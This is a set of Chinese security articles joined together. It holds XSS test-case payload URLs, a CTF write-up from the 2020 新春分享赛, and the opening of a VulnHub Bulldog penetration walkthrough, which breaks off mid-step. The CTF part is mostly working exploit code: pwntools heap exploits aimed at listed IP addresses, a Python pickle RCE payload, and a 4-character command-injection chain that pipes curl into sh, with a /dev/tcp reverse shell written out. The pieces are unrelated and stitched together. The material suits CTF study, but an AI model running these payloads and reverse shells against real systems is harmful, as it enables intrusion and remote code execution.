地址：[Case 13 - Simple XML Injection
(p)](https://brutelogic.com.br/xml.php?p=1)
payload:`https://brutelogic.com.br/xml.php?p=%3Cx:script%20xmlns:x=%22http://www.w3.org/1999/xhtml%22%3Ealert(1%3C/x:script%3E`
## 0x2 Multi Reflection (Pro Only)
##### 0x14 Double Injection in HTML Context with Double Quotes
地址：[Case 14 - Double Injection in HTML Context with Double
Quotes](https://brutelogic.com.br/multi/double-html.php?p=1)
payload:`http://brutelogic.com.br/multi/double-html.php?p=123%22%3E%3Cscript%3Ealert(1);%3C/script%3E`
##### 0x15 Double Injection in Mixed Context (HTML + JS) with Default Quotes
地址：[Case 15 - Double Injection in Mixed Context (HTML + JS) with Default
Quotes](https://brutelogic.com.br/multi/double-mixed.php?p=1)
payload:`http://brutelogic.com.br/multi/double-mixed.php?p=1%27;alert(1);//%22%3E%3Cscript%3Ealert(1);%3C/script%3E`
##### 0x16 Quoteless Inline Double Injection in JS variables
地址：[Case 16 - Quoteless Inline Double Injection in JS
variables](https://brutelogic.com.br/multi/js-inline.php?p=1)
payload:`http://brutelogic.com.br/multi/js-inline.php?p=;alert(1);//\`
##### 0x17 Quoteless Inline Double Injection in JS object
地址：[Case 17 - Quoteless Inline Double Injection in JS
object](https://brutelogic.com.br/multi/js-object.php?p=1)
payload:`http://brutelogic.com.br/multi/js-object.php?p=};alert(1);//\`
##### 0x18 Quoteless Inline Double Injection in JS object with Nested Array
地址：[Case 18 - Quoteless Inline Double Injection in JS object with Nested
Array](https://brutelogic.com.br/multi/js-object2.php?p=1)
payload: `http://brutelogic.com.br/multi/js-object2.php?p=}]};alert(1);//\`
##### 0x19 Quoteless Inline Double Injection in JS object with Nested Function
地址：[Case 19 - Quoteless Inline Double Injection in JS object with Nested
Function](https://brutelogic.com.br/multi/js-object3.php?p=1)
Payload:`http://brutelogic.com.br/multi/js-object3.php?p=;}}};alert(1);//\`
## 0x3 Special Cases (Pro Only)
##### 0x20 SQLi error-based HTML Injection *
地址：[Case 20 - SQLi error-based HTML Injection
*](http://testphp.vulnweb.com/listproducts.php?cat=1)
payload:`http://testphp.vulnweb.com/listproducts.php?cat=1%27%3Cscript%3Ealert(1)%3C/script%3E`
##### 0x21 PHP FILTER_VALIDATE_EMAIL Bypass HTML Injection
地址：[Case 21 - PHP FILTER_VALIDATE_EMAIL Bypass HTML
Injection](https://brutelogic.com.br/tests/[email protected])
Payload:
`http://brutelogic.com.br/tests/email.php?email=%22%3Cscript%3Ealert(1);%3C/script%3E%[email protected]`
##### 0x22 Double-Encoded HTML Injection
地址：[Case 22 - Double-Encoded HTML
Injection](https://brutelogic.com.br/tests/double-enc.php?p=guest)
Payload:`http://brutelogic.com.br/tests/double-enc.php?p=%253cscript%253ealert(1)%253c%252fscript%253e`
##### 0x23 Base64 HTML Injection
地址：[Case 23 - Base64 HTML
Injection](https://brutelogic.com.br/tests/base64.php?p=Z3Vlc3Q=)
Payload:`http://brutelogic.com.br/tests/base64.php?p=PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==`
## 0x4 DOM-based XSS Test Cases
##### 0x24 DOM Injection via URL parameter (by server + client)
地址：[Case 24 - DOM Injection via URL parameter (by server +
client)](https://brutelogic.com.br/dom/dom.php?p=Hello.)
Payload:`http://brutelogic.com.br/dom/dom.php?p=%3Cimg%20src=x%20onerror=alert(1)%3E`
##### 0x25 DOM Injection via URL Parameter (Document Sink)]
地址：[Case 25 - DOM Injection via URL Parameter (Document
Sink)](https://brutelogic.com.br/dom/sinks.html?name=KNOXSS)
Payload:`http://brutelogic.com.br/dom/sinks.html?name=%3Cimg%20src=x%20onerror=alert(1)%3E`
##### 0x26 DOM Injection via Open Redirection (Location Sink)
地址：[Case 26 - DOM Injection via Open Redirection (Location
Sink)](https://brutelogic.com.br/dom/sinks.html?redir=sinks.html)
Payload:`http://brutelogic.com.br/dom/sinks.html?redir=javascript:alert(1)`
##### 0x27 DOM Injection via URL Parameter (Execution Sink)
地址：[Case 27 - DOM Injection via URL Parameter (Execution
Sink)](https://brutelogic.com.br/dom/sinks.html?index=%27NASDAQ%27)
Payload:`http://brutelogic.com.br/dom/sinks.html?index=%27NASDAQ%27;alert(1);`
## 0x5 Blind XSS Test Case
##### 0x1 Navigate to the following page and wait for KNOXSS message of
"Nothing found for FORM"
地址:[Stored Text - Attacker's
Input](http://brutelogic.com.br/blind/text1.php)
##### 0x2 Open the victim's page simulating his/her access. An email with
report will come to your inbox
地址:[Stored Text - Victim's
Triggering](http://brutelogic.com.br/blind/text2.php)
这个分两步第一步先提交payload:`<script>alert(1)</script>`,然后第二步点击0x2的地址,这个我感觉扫描的情景比较庞大,暂时没想到怎么写扫码去处理这种情况。
## 0x6 Authenticated XSS Test Case
##### 0x1 Authenticated XSS Test Case
地址:[XSS After Login](http://brutelogic.com.br/session/)
这个就是登陆之后带cookie的xss,感觉没什么特殊的,带cookie去扫描就行了
## 0x7 总结
这个其实是knoxss的扫描工具的规则映射,可能内部会更加复杂,不过这些payload对于当前我这种菜鸟来说,效率是可以接受的,是值得去参考的。目前扫描器的主动扫描部分也确定了用scrapy来做爬虫然后进行规则扫描,目前对于sql注入的状态判断法很有兴趣,由于传统网站都会有waf,基于状态探测法能很好发现隐蔽的注入,目前扫描器还在继续开发中ing
## 0x8 彩蛋
分享下自用扫描器的ui
| 社区文章 |
# 新春分享赛2020 (天璇Merak)
## web
### sqlcheckin
考虑万能密码。
### webtmp
考察python反序列化
读源码可知需要覆盖name和category
且需要避免使用R指令码，网上可以搜到使用C指令码来绕过执行RCE
构造payload:
s3 = b"\x80\x03c__main__\nsecret\n}(Vname\nVhaha\nVcategory\nVgaga\nub0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameX\x04\x00\x00\x00hahaX\x08\x00\x00\x00categoryX\x04\x00\x00\x00gagaub."
print(base64.b64encode(s3).decode())
### Hackme
www.zip源码泄露
搞这个
function check_session($session)
{
foreach ($session as $keys => $values) {
foreach ($values as $key => $value) {
if ($key === 'admin' && $value === 1) {
return true;
}
}
}
return false;
}
然后就有这个
<?php
require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
#变成管理员吧，奥利给
} else {
die('只有管理员才能看到我哟');
}
那么要搞这个
<?php
require_once('init.php');
class upload_sign
{
public $sign;
public $admin = 0;
public function __construct()
{
if (isset($_POST['sign'])) {
$this->sign = $_POST['sign'];
} else {
$this->sign = "这里空空如也哦";
}
}
public function upload()
{
if ($this->checksign($this->sign)) {
$_SESSION['sign'] = $this->sign;
$_SESSION['admin'] = $this->admin;
} else {
echo "???";
}
}
public function checksign($sign)
{
return true;
}
}
$a = new upload_sign();
$a->upload();
利用
ini_set('session.serialize_handler','php_serialize');
这个特性
getSign 填"|O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:5:"ekixu";}"
搞定admin,然后
./sandbox/2e38c4c054844d7085d096046b5b8258 <?php
require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
#hint : core/clear.php
$sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR']);
echo $sandbox;
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_POST['url'])) {
$url = $_POST['url'];
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
echo "you are hacker";
} else {
$res = parse_url($url);
if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
$code = file_get_contents($url);
if (strlen($code) <= 4) {
@exec($code);
} else {
echo "try again";
}
}
}
} else {
echo "invalid url";
}
} else {
highlight_file(__FILE__);
}
} else {
die('只有管理员才能看到我哟');
}
然后要拼接一个只能一次4个字符的shell出来。
在主机上搞shell
bash -i >& /dev/tcp/<ip>/1029 0>&1
exp:
import requests
from time import sleep
from urllib import quote
import base64
payload = [
# generate "g> ht- sl" to file "v"
'>dir',
'>sl',
'>g\>',
'>ht-',
'*>v',
# reverse file "v" to file "x", content "ls -th >g"
'>rev',
'*v>x',
# generate "curl <IPHEX> | ba sh;"
#
'>\;',
'>sh\\',
'>ba\\',
'>\|\\',
'>XX\\',
'>XX\\',
'>XX\\',
'>XX\\',
'>0x\\',
'>\ \\',
'>rl\\',
'>cu\\',
'sh x',
'sh g',
]
for i in payload:
assert len(i) <= 4
header ={
"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36",
"Cookie":"PHPSESSID=1af6e5b03d0df7c07ae2e548bd44183c"
}
data ={
"url":"compress.zlib://data:@127.0.0.1/plain;base64,"+base64.b64encode(i)
}
r = requests.post(url='http://121.36.222.22:88/core/index.php',data=data,headers=header)
print r.text
print i
sleep(0.1)
>
## Misc
### 签到
就不提了
### 隐藏的信息
给了一张没有定位符的二维码
扫码之后却什么都么得，给了个flag不在这里。
但是winhex看的话里面有一句use base64
接下来，压缩包发现是伪加密
用频谱图发现前后都有电话音，
那么放到网站上解密。<http://dialabc.com/sound/detect/>
得到数字 187485618521
之后base64加密
flag{MTg3NDg1NjE4NTIx}
### ez_mem&usb
得到的是流量包，usb流量分析，可以从中dump下来.vmem文件
标准用volatility分析。。。
搞出flag.img
密码在命令行中
得到了usb keyboard scan code
解码即可
### 简单Misc
能够得到解压密码
EPIDEMICSITUATIONOFUNIVERSITYWAR
解出文本base64一下即可
flag{Th1s_is_FlaG_you_aRE_rigHT}
### 武汉加油
工具：x64dbg + sharpOD插件
这misc是vmp壳加密的，其中vmp保护全开，开了防dump+防文件修改
尝试过vmware暂停后提取vmem然后扔进volatility做硬核dump然后失败了...
看了网上的视频教程才来尝试动态调
网上搜sharpOD下载完了直接扔x64dbg的插件目录里就ok了，然后进x64dbg把sharpOD的所有选项都选上
然后F9跑起来，在可执行文件里写点什么然后回车，然后再栈帧里面找自己敲过的东西。
联想到栈帧知识，怀疑是scanf，开始找标志
看到了%s 追到调用返回地址0x401EC7，那就是你了！
随便敲点什么回车，把6个%s读完就断下来了
看到下面有判断读入多少个字符串，如果真则跳上去，如果假就返回了。为了找到真实的对比逻辑，就让他向上跳。
单步下去发现有大跳，根据破解的经验，有大跳的话另一个分支的很重要
这里把flags中的Z位改成0不让它跳
看到小跳不要慌，看跳转逻辑
指来指去也就跳到这附近，那就不用管让它跳
又有大跳，那就不让它跳，之后碰到了for逻辑，就感觉离成功不远了。
全都执行完了，回到刚才下的断点，回去看一眼窗口，答案就出现了。
## PWN
### ezhacker
文件里就有flag.txt
应该是出错题了。
### woodenbox
house of roman
# -*- coding: utf-8 -*-
import sys
import os
import os.path
from pwn import *
context.log_level = 'debug'
# context.timeout = 3
context.terminal = ['mate-terminal', '-x', 'sh', '-c']
#context(os="linux", arch="i386", log_level="debug", timeout=3)
'''
rdi,rsi,rdx,rcx,r8和r9
'''
if len(sys.argv) > 2:
DEBUG = 0
HOST = '121.36.215.224'
PORT = 9998
else:
DEBUG = 1
if len(sys.argv) == 2:
PATH = sys.argv[1]
else:
PATH = './woodenbox3'
# libc = ELF('/lib/x86_64-linux-gnu/libc-2.30.so')
def choose(s):
p.sendafter('Your choice:', str(s))
def add(le, name):
choose(1)
str1 = p.recv(8)
if (str1.startswith('invaild')):
raise EOFError
p.sendafter('item name:', str(le))
p.sendafter('Please enter the name of item:', str(name))
# return str
def edit(index, lengt, name):
choose(2)
p.sendafter('Please enter the index of item:', str(index))
p.sendafter('Please enter the length of item name:', str(lengt))
p.sendafter('Please enter the new name of the item:', str(name))
def remove(index):
choose(3)
p.sendafter('Please enter the index of item:', str(index))
# print/x (void*)$rebase(0x202170) chunk a
# print/x (void*)$rebase(0x202168) chunk b
# x/30xg $rebase(0x2020a0) itemlist
# x/30xg $rebase(0x202160)
# add-symbol-file-all ./libc.so.6 0x7ff7175b3000
# 之前有chunkA和chunkB... 不过没有被free应该没关系吧
def exp():
chunkB = 'B' * 0x68 + p64(0x41)
res = add(1, '0')
add(1, '0')
add(1, '0')
add(1, '0')
add(0xe8, '0')
index_base = 5
add(0x88, '0') # 0x20 A
add(0xa8, chunkB) # 0xd0 B
add(0x18, '2') # 0x20 C
# chunkB free了再搞回来, 顺便低字节改写到malloc_hook的fake_chunk
remove(index_base+1)
index_base -= 1
# x/50xg &__malloc_hook-0x10
# malloc_hook 0x7ffff7dd1b10
# 0x7fff7d1af5 可以出现合法chunk_size
# chunk的指针还要靠前8字节?, 在1aed
# chunkB fd= 0x7f8b66552b78
add(0xa8, '\xed\x1a')
add(0x65, '3') # D
add(0x65, '4') # E
# add(0x65, '5')
# 改chunkB的size
chunkA= 'A' * 0x88 +'\x71'
edit(index_base+0, len(chunkA)+10, chunkA)
remove(index_base+3) #free D
index_base -= 1
remove(index_base+4) #free E
index_base -= 1
# 改E的fd到B
# chunkB: 0x555555757200 chunkC: 0x5555557572d0
# chunkE的fd原来是指向D的
# 它们相差了f0, 只能修改A大小让他们只有低字节不同,D的低字节是f0-->B的低字节是00 这里还是1/16的可能性!!
chunk2='3' * 0x18 + p64(0x71) + 'D'*0x68 + p64(0x71) + '\x00'
edit(index_base+2, len(chunk2)+10, chunk2)
# 修复fastbin???
# TODO
# 删掉不用的chunk, 为3连malloc准备??
add(0x65, '4') # E
add(0x65, '1') # B
# malloc_hook
# 0x7f8b66552af5 是size域, +8是内容域, 0x7f8b66552b10是hook, 要0x13的padding, 似乎踩在memaline_hook和realloc_hook上
# onegadget是 0x45216(rax=0), 0x4526a, 0xf02a4, 0xf1147
# libcbase: 0x7ffff7a0d000---> 7FFF F7AF D2A4
# 0x45216 execve("/bin/sh", rsp+0x30, environ)
# constraints:
# rax == NULL
# 0x4526a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL
# 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL
# 0xf1147 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL
# 2:7FFF F7A5 226A 3:7FFF F7AF D2A4 4: 7FFF F7AF E147
padd = 'n' * 0x13 + "\xa4\xd2\xaf" # 检查一下malloc_hook的位置
padd2 = 'n' * 0x13 + "\x6a\x22\xa5"
padd4 = 'n' * 0x13 + '\x47\xe1\xaf'
add(0x65, '\x00') # Hook
remove(index_base)
index_base -= 1
unsorted_payload = 'u'*0xe8 + p64(0x91)+ p64(0) + '\x00\x1b'
edit(index_base-1, len(unsorted_payload)+10, unsorted_payload)
add(0x88, 'ha') # -1
edit(index_base+5, len(padd)+10, padd)
# gdb.attach(proc.pidof(p)[0], "b *$rebase(0x104a)")
# choose(1)
# p.sendafter('Please enter the length of item name:', '1')
# x/30xg $rebase(0x2020a0)
remove(2)
pay = '\x00' *0x68
edit(4, len(pay), pay)
remove(4)
p.recv()
p.sendline('cat flag')
return p.recvline()
# p.interactive()
DEBUG=0
HOST = '121.36.215.224'
PORT = 9998
while (1):
try:
if not DEBUG:
p = remote(HOST, PORT)
else:
p = process(PATH)
if len(exp()) != 0:
break
except EOFError:
p.close()
continue
### easyheap
add的值>0x400的时候会申请一个未初始化的块，uaf，劫持atoi_got
# -*- coding:utf-8 -*- from pwn import *
from pwn_debug import *
from LibcSearcher import *
debug = 0
filename='./easyheap'
sa=lambda x,y:p.sendafter(x,y)
sla=lambda x,y:p.sendlineafter(x,y)
context.terminal=['/usr/bin/tmux','new-window']
#elf=ELF(filename)
context.log_level = 'debug'
if debug:
p=process(filename)#,env={'LD_PRELOAD':'./libc-2.23.so'})
else:
p=remote('121.36.209.145',9997)
def vi():
if debug:
gdb.attach(p)
def chose(c):
sla('Your choice:\n',str(c))
def add(s,c='\x00'):
chose(1)
sla('How long is this message?\n',str(s))
if s<=0x400:
sa('What is the content of the message?\n',c)
def free(i):
chose(2)
sla('What is the index of the item to be deleted?\n',str(i))
def edit(i,c):
chose(3)
sla('What is the index of the item to be modified?\n',str(i))
sa('What is the content of the message?\n',c)
free_got=0x602018
atoi_got=0x602050
puts_plt=0x400670
puts_got=0x602020
bss=0x6020d8
add(0x18)
add(0x18)
free(0)
add(0x401)
add(0x18)
p1=p64(0)+p64(0x21)
edit(0,p1+p64(bss))
edit(2,p64(puts_got))
edit(0,p1+p64(free_got))
edit(2,p64(puts_plt))
free(3)
p.recvline()
puts_addr=u64(p.recv(6)+'\x00\x00')
print hex(puts_addr)
obj=LibcSearcher('puts',puts_addr)
base=puts_addr-obj.dump('puts')
sys_addr=base+obj.dump('system')
edit(0,p1+p64(atoi_got))
edit(2,p64(sys_addr))
sla('Your choice:\n','/bin/sh')
p.interactive()
p.close()
### lgd
trunk的可写入字节数等于add中的第二个参数字节个数，堆溢出，unlink，got表泄露libc（开始试着泄露main_arena+88发现地址有点问题），因为有
`prctl(22, 2LL, &v1);` ，所以hook`system`和`execve`这些都不可用，故用任意读写查看libc中保存的栈位置，
改栈rop，`read(open('flag',0),bss,0x80);write(1,bss,0x80);`
#coding:utf-8
from pwn import *
#from pwn_debug import *
debug = 0
filename='./pwn'
sa=lambda x,y:p.sendafter(x,y)
sla=lambda x,y:p.sendlineafter(x,y)
#context.terminal=['/usr/bin/tmux','new-window']
elf=ELF(filename)
context.log_level = 'debug'
if debug:
p=process(filename)#,env={'LD_PRELOAD':'./libc-2.23.so'})
else:
p=remote('121.36.209.145',9998)
def vi():
if debug:
gdb.attach(p)
def chose(c):
sla('>> ',str(c))
def add(l,c):
chose(1)
sla('______?\n',str(l))
sa('start_the_game,yes_or_no?\n','a'*c)
def free(i):
chose(2)
sla('index ?\n',str(i))
def view(i):
chose(3)
sla('index ?\n',str(i))
def edit(i,d):
chose(4)
sla('index ?\n',str(i))
sa('___c___r__s__++___c___new_content ?\n',d)
def write(addr,c):
edit(3,p64(addr))
edit(0,c)
def watch(addr):
edit(3,p64(addr))
view(0)
return u64(p.recv(6).ljust(8,'\x00'))
def csu(rbx, rbp, r12, r13, r14, r15):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
#payload = 'a' * 0x80 + fakeebp #填充垃圾字符串
csu_end_addr=0x4023aa
csu_front_addr=0x402390
payload = ''
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
#payload += p64(last)
return payload
sla('what is your name? \n','aabbcc')
add(0x18,0x200)
add(0x80,0x80)
add(0x18,0x80)
free(1)
edit(0,'a'*0x1f+'b')
view(0)
p.recvuntil('b')
main_arena=u64(p.recv(6)+'\x00\x00')-0x58
malloc_hook=main_arena-0x10
base=malloc_hook-0x3c4b10
free_hook=base+0x3c67a8
sys=base+0x38c40
free_got=0x602f98
#45216
#4526a
#f02a4
#f1147
one=base+0x4526a
print hex(malloc_hook)
edit(0,'a'*0x18+p64(0x91))
add(0x80,0x80)
add(0x100,0x200)
add(0x100,0x80)
bss=0x6032f8
p1=p64(0)+p64(0x100)+p64(bss-0x18)+p64(bss-0x10)+p64(0x100)+p64(0x110)
p1=p1.ljust(0x100,'a')
p1+=p64(0x100)+p64(0x110)
edit(3,p1)
free(4)
view(3)
heap=u64(p.recv(3).ljust(8,'\x00'))
edit(3,p64(free_got))
view(0)
''''''
free_addr=u64(p.recv(6)+'\x00\x00')
print hex(free_got)
base=free_addr-0x844f0
sys=base+0x45390
free_hook=base+0x3c67a8
env=base+0x3c6f38
open=base+0xf7030
read=base+0xf7250
write_addr=base+0xf72b0
stack=watch(env)
print hex(stack)
print hex(watch(stack-0x208))
write(0x6034f0,'r\x00')
write(0x6034e0,'./flag\x00')
write(0x6034d0,p64(open))
write(0x6034c0,p64(read))
write(0x6034b0,p64(write_addr))
rop=csu(0,1,0x6034d0,0,0,0x6034e0)+csu(0,1,0x6034c0,0x80,0x603500,3)+csu(0,1,0x6034b0,0x80,0x603500,1)
print hex(len(rop))
vi()
write(stack-0xe5d8+0xe3b8,rop)
''''''
p.interactive()
p.close()
### Shortest_path
通过uaf把ptr[0]这个站点的buf指针改成指向s字符串("/bin/cat
flag")，再通过SPFA函数中的队列覆写判断0号站点是否存在的dword_606F60[0]数组元素为非0(目的是能够查询ptr[0])，最后查询站点0信息，在打印buf时即可获取flag。
原本考虑到加边时保存边长的数组存在越界，因为理论可以无限加重边使得dword_6036C0下标可以为任意值，但是这种做法会导致dword_602720数组越界而改变dword_6036C0的值，所以dword_6036C0的理论上限为1000。同时，这种做法会覆盖s字符串，所以无效。
详见exp：
#coding:utf-8
from pwn import *
path = './Shortest_path'
local = 0
attach = 0
#P = ELF(path)
context(os='linux',arch='amd64')
context.log_level = 'debug'
if local == 1:
p = process(path)
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('121.37.181.246',19008)
def add(index,price,nameSize,name,stationNum): #添加站点的函数
p.sendlineafter("options ---> ","1")
p.sendlineafter("ID: ",str(index))
p.sendlineafter("Price: ",str(price))
p.sendlineafter("Length: ",str(nameSize))
p.sendafter("Name: \n",name)
p.sendlineafter("connected station: ",str(stationNum))
def delete(index): #删除站点的函数
p.sendlineafter("options ---> ","2")
p.sendlineafter("ID: ",str(index))
def showInfo(index): #查询信息函数
p.sendlineafter("options ---> ","3")
p.sendlineafter("ID: ",str(index))
def findRoute(source,target): #SPFA函数
p.sendlineafter("options ---> ","4")
p.sendlineafter("Station ID: ",str(source))
p.sendlineafter("Station ID: ",str(target))
def addRoute(station,distance): #加边函数
p.sendlineafter("Conected station ID: ",str(station))
p.sendlineafter("distance: ",str(distance))
def build(node): #批量构造图的函数
p.sendlineafter("---> ", "1")
p.sendlineafter(": ", str(node))
p.sendlineafter(": ", "1")
p.sendlineafter(": ", "1")
p.sendlineafter(": \n", "A")
p.sendlineafter(": ", "26")
for i in range(3, 30):
if i == node:
continue
p.sendlineafter(": ", str(i))
p.sendlineafter(": ", "-1")
add(0,10,0x20,'\x00'*1,0)
add(1,10,0x20,'\x11'*1,0) #创建两个节点，注意申请的内存大小要大于0x10
delete(0)
delete(1) #free，造成uaf漏洞
add(2,10,0x10,p64(0)+p64(0x6068E0),0) #申请新节点，使得buf被分配为原来ptr[0]的内存块。修改其为s字符串地址
for i in range(3, 30): #构造特殊的满图，即每个点与另外所有点（0，1，2除外）相连，为了保证SPFA的时候队列足够长，
build(i)
p.sendlineafter("> ", "4")
p.sendlineafter(": ", "3")
p.sendlineafter(": ", "29") #查询3-29号点距离，此数据为调试后得到的
#gdb.attach(p)
showInfo(0) #查询0号节点信息，即可得到flag
p.interactive()
## Mobile
拿到手的apk开始分析
里面有个hmac签名验证，直接用java写就ok
构造了json对象之后就开始研究如何利用它返回shell
看到了wget，也看到了直接做字符串拼接，就想会不会是广义上的sql注入，然而runtime.exec()打破了我的幻想，之后开始老老实实的研究wget
wget里有个参数是--post-file，可以通过post方式向上传文件
再加上<https://github.com/xl7dev/Exploit/blob/master/Wget/wget-exploit.py>
这个洞其实没法用，但是它搭了一个能收post的服务器这个就很好，然后尝试上传flag文件
然而直接wget xxx/xx --post-file flag却没用，最后才想到会不会flag不在当前目录下。
最后根据安卓应用目录结构推出flag在/data/data/com.xuanxuan.getflag/files/下
最后payload
## Reverse
### 天津gai
#include<cstdio>
#include<cctype>
using namespace std;
unsigned char target[19]={17,8,6,10,15,20,42,59,47,3,47,4,16,72,62,0,7,16};
char key[]="Rising_Hopper!";
void testKey(int idx)
{
for(unsigned char i=0;i<=255;i++)
{
if(!isprint(i))
continue;
unsigned char v=~(i & key[idx % 14]) & (i | key[idx % 14]);
if(v==target[idx])
{
printf("%c",i);
return;
}
}
}
int ans[100]={0x1EA272,0x206FC4,0x1D2203,0x1EEF55,0x24F111,0x193A7C,0x1F3C38,0x21566D,0x2323BF,0x2289F9,0x1D2203,0x21098A,0x1E08AC,0x223D16,0x1F891B,0x2370A2,0x1E558F,0x223D16,0x1C883D,0x1F891B,0x2289F9,0x1C883D,0xEB773,0xE6A90,0xE6A90,0xE6A90,0xB1CCF,0x1C883D,0x2289F9,0x22D6DC,0x223D16,0x21566D,0x21098A,0x1EEF55,0x1E558F,0x223D16,0x1C883D,0x22D6DC,0x1F3C38,0x1D2203,0x21098A,0x1C883D,0x24A42E,0x1E558F,0x223D16,0x21566D,0xD83E7,0x21566D,0x21098A,0x1E558F,0x258AD7};
void testFlag(int idx)
{
for(unsigned char i=0;i<=255;i++)
{
if(!isprint(i))
continue;
int v=19683*i%0x8000000B;
if(v==ans[idx])
{
printf("%c",i);
return;
}
}
}
int main()
{
for(int i=0;i<18;i++)
testKey(i);
puts("");
for(int i=0;i<51;i++)
testFlag(i);
return 0;
}
### graph
#include<cstdio>
#include<cctype>
using namespace std;
int value[32]=
{0x34,0x2,0x2C,0x2A,0x6,0x2A,0x2F,0x2A,
0x33,0x3,0x2,0x32,0x32,0x32,0x30,0x3,
0x1,0x32,0x2B,0x2,0x2E,0x1,0x2,0x2D,
0x32,0x4,0x2D,0x30,0x31,0x2F,0x33,0x5};
int way1[32]=
{0x1,0x8,0x7,0x17,0x9,0x13,0x1F,0x17,
0x9,0x0D,0x0C,0x1D,0x0A,0x18,0x9,0x18,
0x19,0x9,0x1A,0x3,0x16,0x6,0x11,0x0D,
0x7,0x0F,0x14,0x1,0x10,0x4,0x0B,0x1F};
int way2[32]=
{0x2,0x2,0x1,0x12,0x7,0x2,0x1A,0x0D,
0x4,0x0A,0x4,0x15,0x0E,0x1,0x0,0x0E,
0x5,0x7,0x1C,0x0C,0x1C,0x0F,0x0F,0x2,
0x10,0x17,0x1E,0x17,0x13,0x9,0x16,0x1F};
int saves[32];
bool find=false;
void dfs(int node,int val,int step)
{
if(!isprint(val) || find)
return;
saves[step]=val;
if(step==16)
{
if(node==0x1F)
{
printf("flag{");
for(int i=1;i<step;i++)
printf("%c",saves[i]);
puts("}");
find=true;
}
return;
}
int w1=way1[node],w2=way2[node],dval=value[node];
dfs(w1,val-dval,step+1);
dfs(w2,val+dval,step+1);
}
int main()
{
dfs(0,'0',0);
return 0;
} | 社区文章 |
# VulnHub | 渗透测试入门（二）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 红日安全成员
> 博客：<http://sec-redclub.com/team/>
## 简介
### 下载链接
[`https://www.vulnhub.com/entry/bulldog-1,211/`](https://www.vulnhub.com/entry/bulldog-1,211/)
### 靶机说明
牛头犬行业最近的网站被恶意的德国牧羊犬黑客破坏。这是否意味着有更多漏洞可以利用？你为什么找不到呢？：）
这是标准的Boot-to-Root,目标是进入root目录并看到祝贺消息。
### 目标
获得root权限和flag。
### 运行环境
* 靶机：用VirtualBox启动虚机，导入镜像，网络连接方式设置为桥接到无线网卡。靶机启动后，自动获得IP：172.20.10.7。
* Windows攻击机：物理机，连接无线网卡，自动获取IP：172.20.10.5，安装有Burpsuit、nc、Python2.7、DirBuster等渗透工具。
* Kali攻击机：VMWare启动虚机，桥接到无线网卡，自动获取IP：172.20.10.6。攻击机二选一即可。
## 信息收集
* ip发现
靶机启动后，自动获得IP，并且显示在启动完成后的界面，IP为：172.20.10.7。无需使用Nmap扫描C段发现IP。
* 端口和服务识别
使用nmap扫描1-65535全端口，并做服务指纹识别，扫描结果保存到txt文件，命令：
`nmap -p1-65535 -A 172.20.10.7 -oN bulldog.txt`
发现目标主机端口和服务如下：
端口 协议 后端服务
TCP 23 SSH open-ssl 7.2p2
TCP 80 HTTP WSGIServer Python 2.7.12
TCP 8080 HTTP WSGIServer Python 2.7.12
操作系统：Linux 3.2-4.9
## 漏洞挖掘的详细思路
* web漏洞思路：
(1) 查看每个网页的源码，看是否有提示；
(2) 暴破目录，用DirBuster，看是否有新网页，找新网页的漏洞；
(3) 找注入或框架漏洞：如果网页有输入框、URL参数，可AWVS扫描注入；如果web使用了某些CMS框架，只能找框架的通用漏洞，通常扫描不到注入。
* ssh利用思路：
(1) 如得到用户名，可以用就九头蛇或美杜莎暴破弱口令，但需要强大的字典且有弱口令。
(2) 如果得到web管理或系统账号，可以尝试连接ssh，如能连接上，无需反弹shell了。
* 步骤1：浏览网页，暴破目录
(1) 访问 `http://172.20.10.7/` 进入首页：
首页有链接，点击进入notice页面，未发现有价值的信息。
(2) 使用DirBuster暴破目录，得到dev和admin目录：
(3)
访问`http://172.20.10.7/admin`，这是一个Django管理后台，需要用户名、密码登录，试了下没有常见弱口令，先不尝试暴破，去看看其他页面。
(4) 访问`http://172.20.10.7/dev`，该页面的有价值信息非常多，主要信息：
新系统不在使用php或任何CMS，而是使用Django框架开发。这意味着不太可能再找到网页的注入漏洞，只能找Django框架漏洞；网站不使用php，无需再找php漏洞或者写php木马；
新系统使用webshell管理，有一个Web-shell链接，点击可访问`http://172.20.10.7/dev/shell/`,但是需要认证。
* 步骤2：破解hash
(1) 查看`http://172.20.10.7/dev`页面源码，会发现有每个Team Lead的邮箱和hash:
并且有明显的英文提示：We’ll remove these in prod. It’s not like a hacker can do anything
with a hash。
(2) hash长度为40位，可以看出是sha1，即使不知道是哪种hash，也可以把每个hash值，到CMD5尝试碰撞解密：
(3) 最终解密出2个hash值：
Back End: [email protected]
用户名：nick，密码：bulldog （CMD5可免费解密出来）
Database: [email protected]
用户名：sarah，密码：bulldoglover （CMD5需要收费解密出来）
* 步骤3：登录后台
(1) 使用解密出来的密码尝试登录扫描出来的23端口ssh都失败：
(2) 使用sarah、密码bulldoglover成功登录管理后台，发现没有编辑权限。
(3) 再去访问webshell页面，已通过认证，可执行命令，这是一个命令执行界面：
## 获取shell
* 步骤4：绕过白名单限制，执行系统命令：
